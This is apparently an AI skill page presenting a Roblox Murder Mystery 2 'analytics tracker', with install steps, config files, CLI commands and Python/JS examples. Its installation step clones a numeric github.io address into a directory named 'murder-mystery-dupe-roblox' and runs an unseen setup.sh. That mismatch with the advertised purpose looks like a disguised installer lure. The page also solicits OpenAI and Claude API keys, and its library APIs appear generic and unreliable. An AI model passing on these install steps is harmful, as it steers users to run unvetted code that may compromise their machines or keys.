MM2 Roblox Analytics Tracker

Skill by ara.so — Data Skills collection.

This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It enables players to track knife skin collections, analyze gameplay patterns, optimize inventory, and visualize performance metrics through an interactive dashboard.

What It Does

The MM2 Analytics Tracker provides:

Inventory Management: Automatic tracking of knife skins, gamepasses, and collectibles with rarity analysis
Performance Analytics: Win/loss ratios, role-based statistics, and strategy pattern identification
Data Visualization: Interactive dashboards with real-time statistics and charts
AI-Powered Insights: Predictive modeling for inventory values and player behavior analysis
Trade Recommendations: Smart suggestions based on collection completeness and market trends
Practice Simulations: Training tools for skill improvement

Installation

Automated Setup

bash

# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Run automated installer
chmod +x setup.sh
./setup.sh --install

Manual Installation

bash

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

System Requirements

Python 3.9+ or Node.js 18+
2GB RAM minimum
Supported OS: Windows 10+, macOS Ventura+, Ubuntu 22.04+
Modern web browser (Chrome 120+, Firefox 121+)

Configuration

Environment Variables

Create a

.env

file in the project root:

env

# AI Integration (optional)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Storage
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300

# Features
ENABLE_LIVE_TRACKING=true
ENABLE_AI_INSIGHTS=false
EXPORT_FORMAT=json,csv

Profile Configuration

Create a

profile.yaml

file:

yaml

profile:
  username: "YourRobloxUsername"
  preferred_role: "sheriff"  # sheriff, murderer, innocent
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "unique"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"  # basic, comprehensive, minimal
    data_refresh_rate: 30  # seconds
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

CLI Commands

Basic Usage

bash

# Start analytics dashboard
python3 main.py --mode dashboard

# Run inventory scan
python3 main.py --mode inventory --scan

# Export analytics data
python3 main.py --mode analytics \
  --profile your_profile \
  --export statistics.json \
  --format json

# Generate performance report
python3 main.py --mode report \
  --date-range "2026-01-01:2026-05-16" \
  --output report.pdf

Advanced Options

bash

# Comprehensive analytics with verbose logging
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export stats_$(date +%Y%m%d).json \
  --format json \
  --verbose \
  --log-level DEBUG

# Inventory optimization with AI recommendations
python3 main.py --mode optimize \
  --enable-ai \
  --strategy aggressive \
  --export recommendations.csv

# Live tracking session
python3 main.py --mode live \
  --refresh-interval 15 \
  --dashboard-port 8080

Code Examples

Python: Basic Inventory Analysis

python

from mm2_analytics import InventoryManager, AnalyticsEngine

# Initialize inventory manager
inventory = InventoryManager(
    data_dir="./data/collections",
    profile="my_profile"
)

# Scan current inventory
results = inventory.scan_inventory()

# Analyze knife skins by rarity
knife_analysis = inventory.analyze_category(
    category="knife_skins",
    group_by="rarity"
)

print(f"Total items: {results['total_count']}")
print(f"Legendary knives: {knife_analysis['legendary']}")
print(f"Collection completion: {results['completion_percentage']}%")

# Get missing items for collection
missing = inventory.get_missing_items(
    category="knife_skins",
    target_rarity=["legendary", "ancient"]
)

for item in missing:
    print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")

Python: Performance Analytics

python

from mm2_analytics import AnalyticsEngine, StrategyAnalyzer

# Initialize analytics engine
analytics = AnalyticsEngine(
    profile="my_profile",
    tracking_mode="comprehensive"
)

# Load gameplay session data
analytics.load_sessions(date_range="last_30_days")

# Analyze performance by role
role_stats = analytics.analyze_by_role()

for role, stats in role_stats.items():
    print(f"{role.capitalize()} Performance:")
    print(f"  Win Rate: {stats['win_rate']:.2%}")
    print(f"  Games Played: {stats['games_count']}")
    print(f"  Avg Survival Time: {stats['avg_survival_time']:.1f}s")

# Strategy pattern analysis
strategy = StrategyAnalyzer(analytics)
patterns = strategy.identify_winning_patterns(role="sheriff")

print("\nTop Winning Strategies:")
for pattern in patterns[:5]:
    print(f"  {pattern['name']}: {pattern['success_rate']:.2%}")

Python: Data Export and Visualization

python

from mm2_analytics import DataExporter, Visualizer

# Export data in multiple formats
exporter = DataExporter(profile="my_profile")

# Export to JSON
exporter.export_inventory(
    format="json",
    output="inventory_backup.json",
    include_metadata=True
)

# Export to CSV for spreadsheet analysis
exporter.export_analytics(
    format="csv",
    output="analytics_report.csv",
    date_range="2026-01-01:2026-05-16"
)

# Generate visualizations
viz = Visualizer(data_source="analytics_report.csv")

# Create performance chart
viz.create_chart(
    chart_type="line",
    metric="win_rate",
    group_by="date",
    output="performance_trend.png"
)

# Create inventory distribution pie chart
viz.create_chart(
    chart_type="pie",
    data=knife_analysis,
    title="Knife Skins by Rarity",
    output="inventory_distribution.png"
)

JavaScript: Dashboard Integration

javascript

const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');

// Initialize dashboard
const dashboard = new AnalyticsDashboard({
  profile: 'my_profile',
  refreshInterval: 30000, // 30 seconds
  port: 8080
});

// Configure real-time inventory tracking
const tracker = new InventoryTracker({
  dataDir: './data/collections',
  liveTracking: true
});

// Subscribe to inventory updates
tracker.on('update', (data) => {
  console.log(`Inventory updated: ${data.items.length} items`);
  dashboard.updateInventoryView(data);
});

// Start analytics dashboard server
dashboard.start().then(() => {
  console.log('Dashboard running at http://localhost:8080');
});

// Export data on demand
dashboard.on('export-requested', async (format) => {
  const data = await tracker.exportData(format);
  return data;
});

Common Patterns

Pattern 1: Daily Analytics Routine

python

from mm2_analytics import DailyRoutine

routine = DailyRoutine(profile="my_profile")

# Run comprehensive daily analysis
report = routine.run_daily_analysis(
    include_inventory_scan=True,
    include_performance_review=True,
    include_trade_recommendations=True,
    export_format="json"
)

# Email report (if configured)
if report.has_significant_changes():
    routine.send_report(report, method="email")

Pattern 2: Trade Optimization

python

from mm2_analytics import TradeOptimizer

optimizer = TradeOptimizer(
    inventory=inventory,
    target_collection="legendary_complete"
)

# Get trade recommendations
recommendations = optimizer.get_recommendations(
    max_trades=5,
    prioritize="collection_completion"
)

for rec in recommendations:
    print(f"Trade: {rec['give']} → {rec['receive']}")
    print(f"  Value Difference: {rec['value_delta']}")
    print(f"  Collection Impact: +{rec['completion_impact']}%")

Pattern 3: AI-Powered Strategy Suggestions

python

from mm2_analytics import AIStrategyAssistant

# Requires API_OPENAI_KEY or API_CLAUDE_KEY in environment
assistant = AIStrategyAssistant(
    api_provider="openai",  # or "claude"
    model="gpt-4"
)

# Get strategy suggestions based on performance
suggestions = assistant.analyze_gameplay(
    role="sheriff",
    recent_sessions=analytics.get_recent_sessions(count=10)
)

print(suggestions.summary)
for tip in suggestions.tips:
    print(f"- {tip}")

Troubleshooting

Issue: Inventory scan returns empty results

Solution: Verify data directory exists and profile configuration is correct

bash

# Check data directory
ls -la ./data/collections

# Verify profile exists
python3 main.py --list-profiles

# Reset and rescan
python3 main.py --mode inventory --reset --scan

Issue: Analytics export fails with encoding errors

Solution: Specify UTF-8 encoding explicitly

python

from mm2_analytics import DataExporter

exporter = DataExporter(
    profile="my_profile",
    encoding="utf-8"  # Force UTF-8 encoding
)

exporter.export_analytics(
    format="csv",
    output="stats.csv",
    force_encoding=True
)

Issue: Dashboard won't start (port conflict)

Solution: Use a different port or kill existing process

bash

# Use alternative port
python3 main.py --mode dashboard --port 8081

# Or find and kill process using port 8080
lsof -ti:8080 | xargs kill -9

Issue: AI insights not working

Solution: Verify API keys are set correctly

bash

# Check environment variables
echo $API_OPENAI_KEY
echo $API_CLAUDE_KEY

# Test API connection
python3 main.py --test-ai-connection

Issue: Performance degradation with large datasets

Solution: Enable data pagination and optimize refresh interval

python

from mm2_analytics import AnalyticsEngine

analytics = AnalyticsEngine(
    profile="my_profile",
    use_pagination=True,
    page_size=1000,
    cache_enabled=True
)

# Increase refresh interval for large datasets
analytics.set_refresh_interval(60)  # 60 seconds

Best Practices

Regular Backups: Export inventory data weekly
API Rate Limits: Enable caching when using AI features
Data Privacy: Keep profile data local, never commit
```
.env
```
files
Performance: Use
```
--mode minimal
```
for basic tracking needs
Updates: Check for compatibility patches regularly

Additional Resources

Profile templates:
```
./templates/profiles/
```
Sample datasets:
```
./data/samples/
```
Custom visualizations:
```
./examples/visualizations/
```
Strategy guides:
```
./docs/strategies/
```

mm2-roblox-analytics-tracker

NPX Install

Tags

SKILL.md Content

MM2 Roblox Analytics Tracker

What It Does

Installation

Automated Setup

Manual Installation

System Requirements

Configuration

Environment Variables

Profile Configuration

CLI Commands

Basic Usage

Advanced Options

Code Examples

Python: Basic Inventory Analysis

Python: Performance Analytics

Python: Data Export and Visualization

JavaScript: Dashboard Integration

Common Patterns

Pattern 1: Daily Analytics Routine

Pattern 2: Trade Optimization

Pattern 3: AI-Powered Strategy Suggestions

Troubleshooting

Issue: Inventory scan returns empty results

Issue: Analytics export fails with encoding errors

Issue: Dashboard won't start (port conflict)

Issue: AI insights not working

Issue: Performance degradation with large datasets

Best Practices

Additional Resources